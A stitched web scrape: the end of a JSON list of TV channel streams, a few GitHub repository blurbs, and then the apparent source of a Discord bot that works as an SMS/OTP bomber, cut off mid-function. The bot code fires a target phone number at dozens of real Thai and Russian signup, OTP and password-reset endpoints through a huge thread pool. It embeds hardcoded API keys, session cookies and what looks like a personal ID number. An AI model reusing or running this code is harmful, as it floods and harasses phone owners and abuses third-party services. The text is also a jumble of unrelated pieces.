chaîne de télévision musicale internationale, elle est dédiée aux musiques et aux cultures urbaines du monde entier (Rap, R&B, Hip-Hop, Pop, Rai, Naija, Olschool etc.) ciblant un public très large. D5Music entend devenir la chaîne référence musicale des 5 continents","sources":["http://51.158.31.93:1935/devtv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://image.winudf.com/v2/image/YTVjZW50cy5hMmlfc2NyZWVuXzVfMTUxNTk5NTEyNl8wNTQ/screen-5.jpg?fakeurl=1&type=.jpg","title":"A2i / naija Music"},{"description":"BOK TV is an online and public access variety show and the show's log line what would happen if In Living Color and The Daily Show had a bastard child! BOKTV is what would happen and he show is split into segments: MONOLOGUE, SKETCH, ROUND TABLE, COMMERCIAL, BLACK TWITTER. create a platform of discourse that encourages exchange as opposed to polarity, and to showcase the talents of the host and other cast members.","sources":["http://boktv.interworks.in:1935/live/boktv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://bokradio.co.za/wp-content/uploads/2017/07/button_cameratv.jpg","title":"BOK TV"},{"description":"Salt TV is a Christian television channel station from Uganda. Salt TV is based in Kampala. Matthew 5:13-16 (NKJV) Believers Are Salt and Light 13 You are the salt of the earth, but if the salt loses its flavor, how shall it be seasoned? It is then good for nothing but to be thrown out and trampled underfoot by men.","sources":["http://dcunilive38-lh.akamaihd.net/i/dclive_1@692676/index_150_av-p.m3u8"],"subtitle":"By Channel","thumb":"https://www.saltmedia.ug/images/NOV/SALT-TV.jpg","title":"Salt TV/ Uganda"},{"description":"TFM is Senegal’s privately-owned television channel.Owned by Senegalese musician Youssou N Dour, who owns a major media group in Dakar.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://3.bp.blogspot.com/-eyo4UyKqjlI/WWTobvXxLqI/AAAAAAAAB_g/BFn1KiR6vcYQMilgX4nWhGJHbHMEP_l0ACLcBGAs/s1600/tfm%2Bsenegal.png","title":"TFM TV/ Senegal"},{"description":"Africa tv1 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV1.png","title":"Africa TV 1"},{"description":"Africa tv2 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv2/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV2.png","title":"Africa TV 2"},{"description":"Africa tv3 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains de langue haoussa.","sources":["http://africatv.live.net.sa:1935/live/africatv3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.africagroup.tv/img/bgTV3.png","title":"Africa TV 3"},{"description":"La télévision nationale tunisienne 1 est la chaîne publique nationale tunisienne. Il a été officiellement lancé le 31 mai 1966, mais diffuse des programmes pilotes de manière irrégulière depuis octobre 1965, puis régulièrement depuis janvier 1966 et s’appelle la radio et la télévision tunisienne (ATT). Elle est devenue Channel 7 en 1992 et Tunisia 7 en 1997, mais elle est restée une filiale de la Société tunisienne de radio et de télévision jusqu’en 2008, a conservé le siège qu’elle partageait et la Société tunisienne de télévision avec ses chaînes de télévision nationales tunisiennes et La Tunisie 21 plus tard connue sous le nom de Télévision nationale tunisienne 2 est devenue son nouveau siège. Après le déclenchement de la révolution populaire tunisienne et la défection de zine El Abidine Ben Ali du pays, il est devenu Télévision nationale tunisienne.","sources":["http://54.36.122.126/tunisie1.m3u8"],"subtitle":"By Channel.","thumb":"https://www.histoiredesfax.com/wp-content/uploads/2015/11/Television-nationale-watania.jpg","title":"TUNISIA 1"},{"description":"Sahel TV est la plateforme unique, ouverte à la société civile, aux citoyens et à l'autorité locale de la ville et de sa région pour leur permettre de s’exprimer librement, proposer leurs idées et accéder à toutes les informations économiques, environnementale, culturelle, sportive. Vos idées et vos propositions sont les bienvenues.","sources":["http://142.44.214.231:1935/saheltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://mobiletv.mobibase.com/html/logo/hd/channel_ld_747.png","title":"SAHEL TV / Tunisie"},{"description":"NIGERIA TELEVISION AUTORTEAutorité a commencé sous le nom de Western Nigerian Television Services (WNTV), qui a transmis ses premiers signaux au peuple nigérian et à toute l'Afrique le 31 octobre 1959. Au début de 1962, les trois gouvernements régionaux qui existaient au Nigéria avaient mis en place le Service de télévision nigérian (NTS). Télévision ont été créés et en 1976, l'Autorité de la télévision nigériane est née en tant que seule entité responsable de Diffusion télévisée au Nigéria.","sources":["http://54.38.93.93/nta.m3u8"],"subtitle":"By Channel","thumb":"https://static.squarespace.com/static/53d2a092e4b0125510bfe57d/53d2a2c6e4b018cd23e33d7b/53d2a2c6e4b018cd23e33f6f/1362042333867/1000w/nta.jpg","title":"NTA TV / Nigeria"},{"description":"ESPACE TV est une télévision basée à Conakry dans la commune de Matoto Kondeboungny au bord de l'autoroute Fidèle Castro (République de Guinée). La télé diffuse des informations du pays et du monde en temps réel. Des magazines axés sur les réalités des terroirs et des séries de divertissement. Détenue par le groupe Hadafo Médias, cette chaîne est la première du pays en terme d'audience; selon le rapport de Stat view international en 2019.","sources":["http://46.105.114.82/espacetv.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/ric-bS2gzvt-UyrhBIEdWENN9U-fL9Bnlhv12GEYSzSkZFWEIr7hc74k83kfLPqZDk0","title":"Espace TV / Guinée"},{"description":" Movies Now is an Indian high-definition television channel featuring Hollywood films. It was launched on 19 December 2010 with a picture quality of 1080i and 5.1 surround sound. The channel is owned by The Times Group. It has exclusive content licensing from films produced or distributed by MGM and has content licensing from Universal Studios, Walt Disney Studios, Marvel Studios, 20th Century Studios, Warner Bros and Paramount Pictures.","sources":["https://timesnow.airtel.tv/live/MN_pull/master.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/4/49/Movies_Now_logo.png","title":"Movies Now HD"},{"description":"Tunisie Immobilier TV, la première chaîne de l’immobilier en Tunisie Vous présente toutes les semaines, les actualités immobilières et économiques en Tunisie et dans le monde à travers des reportages.contact; E-mail:tunisieimmob@planet.tn/ Tel:(+216) 71 894500.","sources":["https://5ac31d8a4c9af.streamlock.net/tunimmob/myStream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i2.wp.com/www.tunisieimmobiliertv.net/wp-content/uploads/2016/10/fb.jpg?fit=1024%2C500&ssl=1","title":"Tunisie Immobilier TV"}]}]}
linglong97 / RunescapeTradingProjectA personal project which attempts to use an algorithmic model to generate in-game wealth on the MMORPG Runescape. Using the official Runescape Grand Exchange API, historical price and qualitative data is pulled for each of the items in the game. By processing this data and predicting the price changes in certain high-volume items, profit can be made against a stagnant in-game economy. An automated AI will log in to the game and take the results from the model to automatically purchase the items which the algorithm deems are profitable to buy. Additionally, back testing of historical data against the model should also be completed before the bot makes initial investments.
Coffee-fueled-deadlines / OSRSBytesOSRSBytes is an all-in-one Python library for Old School Runescape (OSRS) that features Item Information Lookup, OSRS Hiscores, and Grand Exchange Market information.
nathan-osman / Stack AlertA set of browser extensions that monitor your inbox on Stack Exchange sites for new items.
yuqirong / DragGridView可拖拽item来交换位置的GridView(the GridView can drag items to exchange their positions)
ski-freak / TrackmaniaItemsSortedThe complete sorted item set of all the important custom items for trackmania mapping, most of which are from item exchange.
OfficeDev / Outlook Add In ForwardEmailThis sample app shows how to use JavaScript and Exchange Web Services in a mail app for Outlook to forward the current mail items to a list of user-defined email addresses, and optionally to include user-defined comments with the forwarded email.
Godbyhub / 108apiimport os, wmi from sys import prefix from attr import validate import discord from discord.ext import commands from discord.ext import commands import discord from discord_buttons_plugin import * import requests, json, threading, requests, json, validators import requests, time, os from os import system from typing_extensions import Required import discord from discord import client from discord.utils import get import gratient from concurrent.futures import ThreadPoolExecutor from re import search from time import sleep import requests from discord import embeds from datetime import datetime from discord import message from discord.ext import commands from discord.ext.commands.core import command, has_role from requests import post, Session from re import search from random import choice from string import ascii_uppercase, digits from concurrent.futures import ThreadPoolExecutor from discord.ext import commands from json import loads, dumps, load PREFIX = 'wy.' TOKEN = '' LIMIT = 100 blacklist = [ "191", "0956150861" ] bot = commands.Bot(command_prefix=PREFIX) bot.remove_command("help") def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" header = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} print(gratient.black(''' ╔════════════════════════════════════════════╗ ║ .______ ______ .___________. ║ ║ | _ \ / __ \ | | ║ ║ | |_) | | | | | `---| |----` ║ ║ | _ < | | | | | | ║ ║ | |_) | | `--' | | | ║ ║ |______/ \______/ |__| ║ ╚════════════════════════════════════════════╝ ''')) @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.CommandOnCooldown): await ctx.send(f"`cooldown {round(error.retry_after, 2)} seconds left`") @bot.event async def on_ready(): print(gratient.red(f"login as {bot.user}")) system('title ' + (f"{bot.user}")) def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" def sk1(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62", "User-Agent": useragent},json={"phone": f"66{phone}"}) def sk2(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def sk3(phone): post("https://api2.1112.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk4(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", headers={"User-Agent": useragent}, data={"phone": phone,"password":"123456789Az"}) def sk5(phone): post("https://api.1112delivery.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk6(phone): post("https://gccircularlivingshop.com/sms/sendOtp", headers={"User-Agent": useragent}, json={"grant_type":"otp","username": f"+66{phone[1:]}","password":"","client":"ecommerce"}) def sk7(phone): post("https://shop.foodland.co.th/login/generation", headers={"User-Agent": useragent}, data={"phone": phone}) def sk8(phone): post("https://api-shop.diorbeauty.hk/api/th/ecrm/sms_generate_code", headers={"User-Agent": useragent}, data={"number": f"+66{phone[1:]}"}) def sk9(phone): post("https://api.sacasino9x.com/api/RegisterService/RequestOTP", headers={"User-Agent": useragent}, json={"Phone": phone}) def sk10(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", headers={"User-Agent": useragent}, data={"phone": phone}) def sk11(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", headers={"User-Agent": useragent}, data={"phone": phone}) def sk12(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", headers={"User-Agent": useragent}, json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": f"66{phone[1:]}"}) def sk13(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"User-Agent": useragent, "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def sk14(phone): session = Session() searchItem = session.get("https://www.shopat24.com/register/").text ReqTOKEN = search("""<input type="hidden" name="_csrf" value="(.*)" />""", searchItem).group(1) session.post("https://www.shopat24.com/register/ajax/requestotp/", headers={"User-Agent": useragent, "content-type": "application/x-www-form-urlencoded; charset=UTF-8","X-CSRF-TOKEN": ReqTOKEN}, data={"phoneNumber": phone}) def sk15(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", headers={"User-Agent": useragent}, data={"tel": phone,"otp_type":"register"}) def sk16(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", headers={"User-Agent": useragent}, json={"on":{"value": phone,"country":"66"},"type":"mobile"}) def sk17(phone): post(f"https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/{phone}", headers={"User-Agent": useragent}) def sk18(phone): post("https://graph.firster.com/graphql",headers={"User-Agent": useragent, "organizationcode": "lifestyle","content-type": "application/json"}, json={"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone[1:],"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"}) def sk19(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.661", headers={"User-Agent": useragent}, json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone": f"+66{phone[1:]}","type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName": randomString(10)}}) def sk20(phone): post("https://store.boots.co.th/api/v1/guest/register/otp", headers={"User-Agent": useragent}, json={"phone_number":f"+66{phone[1:]}"}) def sk21(phone): post("https://m.lucabet168.com/api/register-otp", headers={"User-Agent": useragent} ,json={"brands_id":"609caede5a67e5001164b89d","agent_register":"60a22f7d233d2900110070d7","tel": phone}) def sk22(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def sk23(phone): post(url="https://www.cpffeedonline.com/Customer/RegisterRequestOTP", data={"mobileNumber":f"{phone}"}) def sk24(phone): post(url="https://www.tgfone.com/index.php/signin/otp_chk", data={"mobile":f"{phone}"}) def sk25(phone): post("https://api2.1112.com/api/v1/otp/create", json={"phonenumber":f"0{phone}","language":"th"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk26(phone): post("https://unacademy.com/api/v3/user/user_check/", json={"phone":f"0{phone}","country_code":"TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk27(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-0{phone}") def sk28(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register", json={"username": f"0{phone}","password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk29(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk30(phone): post("https://www.berlnw.com/reservelogin", data={"p_myreserve": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk31(phone): post("https://www.kickoff28.com/action.php?mode=PreRegister", data={"tel": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk32(phone): post("https://1ufabet.com/_ajax_/request-otp", data={"request_otp[phoneNumber]": f"0{phone}", "request_otp[termAndCondition]": "1", "request_otp[_token]": "XBNcvQIzJK1pjh_2T0BBzLiDa6vSivktDN317mbw3ws"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def p1112(phone): d=post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers= header).status_code def p1112v2(phone): d=post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=header).status_code def yandex(phone): d=post("https://taxi.yandex.kz/3.0/launch/",json={},headers=header).json() d=post("https://taxi.yandex.kz/3.0/auth/",json={"id": d["id"], "phone": f"+66{phone[1:]}"},headers=header).text def okru(phone): s=Session() s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) s.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") s.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def karusel(phone): s=Session() s.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}) def KFC(_phone): post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) def icq(phone): post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=header) def findclone(phone): d=get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def spam_pizza(phone): #pizza post('https://api2.1112.com/api/v1/otp/create', data = {'phonenumber': phone, 'language': "th"}) def youla(phone): post('https://youla.ru/web-api/auth/request_code', data={'phone': phone}) def ig_token(): d=get("https://www.instagram.com/",headers=header).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") def Facebook(phone): token,_=ig_token() d=post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagram(phone): token,cid=ig_token() d=post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def Rapid(phone): d=post('https://rapidapi.com/blaazetech/api/spam-caller-check/',json={"phonenumber":phone,"language":"th"},headers=header).status_code def VBC(phone): post('https://twitter-user-profile-data.p.rapidapi.com/v1/api/twitter',headers = {'content-type': "application/json",'x-rapidapi-host': "twitter-user-profile-data.p.rapidapi.com",'x-rapidapi-key': "775b9796aemshb6a4eefc8d0e33cp1d04d7jsnefd368e22b03"}) def api1(phone): post("https://m.thisshop.com/cos/send/code/notice", json={"sessionContext":{"channel":"h5","entityCode":0,"userReferenceNumber":"12w12y11r52gz259ue14rr7g7370239m","localDateTimeText":"20220115182850","riskMessage":"{}","serviceCode":"FLEX0001","superUserId":"sysadmin","tokenKey":"149d5c7bae10304c8aba0da2bbc59cb7","authorizationReason":"","transactionBranch":"TFT_ORG_0000","userId":"","locale":"th-TH"},"noticeType":1,"businessType":"RT0001","phoneNumber":f"66-{phone}"},headers={"content-type": "application/json; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api2(phone): headers = { "content-type": "application/x-www-form-urlencoded", "user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "referer": "https://www.wongnai.com/guest2?_f=signUp&guest_signup_type=phone", "cookie": "_gcl_au=1.1.1123274548.1637746846" } post("https://www.wongnai.com/_api/guest.json?_v=6.054&locale=th&_a=phoneLogIn",headers=headers,data=f"phoneno={phone}&retrycount=0") def api3(phone): post("https://gettgo.com/sessions/otp_for_sign_up", data={"mobile_number":phone}) def api4(phone): post("https://api.true-shopping.com/customer/api/request-activate/mobile_no", data={"username": phone}) def api5(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api6(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api7(phone): post('https://www.sso.go.th/wpr/MEM/terminal/ajax_send_otp',headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Cookie": "sso_local_storeci_sessions=KHj9a18RowgHYWbh71T2%2FDFAcuC2%2FQaJkguD3MQ1eh%2FlwrUXvpAjJgrm6QKAja4oe7rglht%2BzO6oqblJ4EMJF4pqnY%2BGtR%2F0RzIFGN0Suh1DJVRCMPpP8QtZsF5yDyw6ibCMf2HXs95LvAMi7KUkIeaWkSahmh5f%2F3%2FqcOQ2OW5yakrMGA1mJ5upBZiUdEYNmxUAljcqrg7P3L%2BGAXxxC2u1bO09Oz4qf4ZV9ShO0gz5p5CbkE7VxIq1KUrEavn9Y%2BarQmsh1qIIc51uvCev1U1uyXfC%2F9U7uRl7x%2FVYZYT2pkLd3Q7qnZoSNBL8y9wge8Lt7grySdVLFhw9HB68dTSiOm1K04QhdrprI7EsTLWDHTgYmgyTQDuz63YjHsH5MUVanlfBISU1WXmRTXMKbUjlcl0LPPYUR9KWzrVL7sXcrCX%2FfUwLJIU%2F7MTtDYUx39y1CAREM%2F8dw7AEjcJAOA%3D%3D684b65b9b9dc33a3380c5b121b6c2b3ecb6f1bec; PHPSESSID=1s2rdo0664qpg4oteil3hhn3v2; TS01ac2b25=01584aa399fbfcc6474d383fdc1405e05eaa529fa33e596e5189664eb7dfefe57b927d8801ad40fba49f0adec4ce717dd5eabf08d7080e2b85f34368a92a47e71ef07861a287c40da15c0688649509d7f97eb2c293; _ga=GA1.3.1824294570.1636876684; _gid=GA1.3.1832635291.1636876684"},data=f"dCard=1358231116147&Mobile={phone}&password=098098Az&repassword=098098Az&perPrefix=Mr.&cn=Dhdhhs&sn=Vssbsh&perBirthday=5&perBirthmonth=5&perBirthyear=2545&Email=nickytom5879%40gmail.com&otp_type=OTP&otpvalue=&messageId=REGISTER") def api8(phone): post("https://api.mcshop.com/cognito/me/forget-password",headers={"x-store-token": "mcshop","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, */*","x-auth-token": "O2d1ZXN0OzkyMDIzOTU7YThmNWMyZDE4YThlOTMzOGMyOGMwYWE5ODQwNTBjY2I7Ozs7","x-api-key": "ZU2QOTDkCV5JYVkWXdYFL8niGXB8l1mq2H2NQof3"},json={"username": phone}) def api9(phone): get(f"https://asv-mobileapp-prod.azurewebsites.net/api/Signin/SendOTP?phoneNo={phone}&type=Register") def api10(phone): post("https://m.lavagame168.com/api/register-otp",headers={"x-exp-signature": "5ffc0caa4d603200124e4eb1","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","referer": "https://m.lavagame168.com/dashboard/login"},json={"brands_id":"5ffc0caa4d603200124e4eb1","agent_register":"5ffc0d5cdcd4f30012aec3d9","tel": phone}) def api11(phone): get("https://m.redbus.id/api/getOtp?number="+phone[1:]+"&cc=66&whatsAppOpted=true",headers={"traceparent": "00-7d1f9d70ec75d3fb488d8eb2168f2731-6b243a298da767e5-01","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36"}).text def api12(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62"},json={"phone":"66"+phone}) def api13(phone): post("https://samartbet.com/api/request/otp", data={"phoneNumber":phone,"token":"HFbWhpfhFIGSMVWlhcQ0JNQgAtJ3g3QT43FRpzKhsvGhoHEzo6C1sjaRh1dSxgfEt_URwOHgwabwwWKXgodXd9IBBtZShlPx9rQUNiek5tYDtfB3swTC4KUlVRX0cFWVkNElhjPXVzb3NWBSpvVzofb1ZFLi15c2YrTltsL0FpGSMVGQ9rCRsacxJcemxjajdoch8sfEhoWVlvbVEsQ0tWfhgfOGth"}) def api14(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api15(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api16(phone): post("https://ep789bet.net/auth/send_otp", data={"phone":phone}) def api17(phone): post("https://www.berlnw.com/reservelogin",data={"p_myreserve": phone}, headers={"Host": "www.berlnw.com", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Save-Data": "on", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "https://www.berlnw.com/myaccount", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "th-TH,th;q=0.9,en;q=0.8", "Cookie": "berlnw=s%3AaKEA2ULex-QQ7U6jr0WCQGs-Mz3eJFJn.RsAXcleV2EVFN4j%2BPqDivbqSYAta0UYtyoM65BrxuV0; _referrer_og=https%3A%2F%2Fwww.google.com%2F; _first_pageview=1; _jsuid=4035440860; _ga=GA1.2.766623232.1635154743; _gid=GA1.2.1857466267.1635154743; _gac_UA-90695720-1=1.1635154743.CjwKCAjwq9mLBhB2EiwAuYdMtU_gp7mSvFcH4kByOTGf-LsmLTGujv9qCwMi1xwWSuEiQSOlODmN-RoCMu4QAvD_BwE; _fbp=fb.1.1635154742776.771793600; _gat_gtag_UA_90695720_1=1"}) def api18(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", json={"on":{"value":phone,"country":"66"},"type":"mobile"}) def api19(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-{phone}") def api20(phone): post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def api21(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api22(phone): post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers={}).json() def api23(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": phone}) def api24(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register",json={"username": phone,"password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}) def api25(phone): post("https://store.boots.co.th/api/v1/guest/register/otp",json={"phone_number": phone}) def api26(phone): post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username={phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","x-csrftoken": "EKIzZefCrMss0ypkr2VjEWZ1I7uvJ9BD"}).json def api27(phone): post("https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/"+phone) def api28(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"Content-Type": 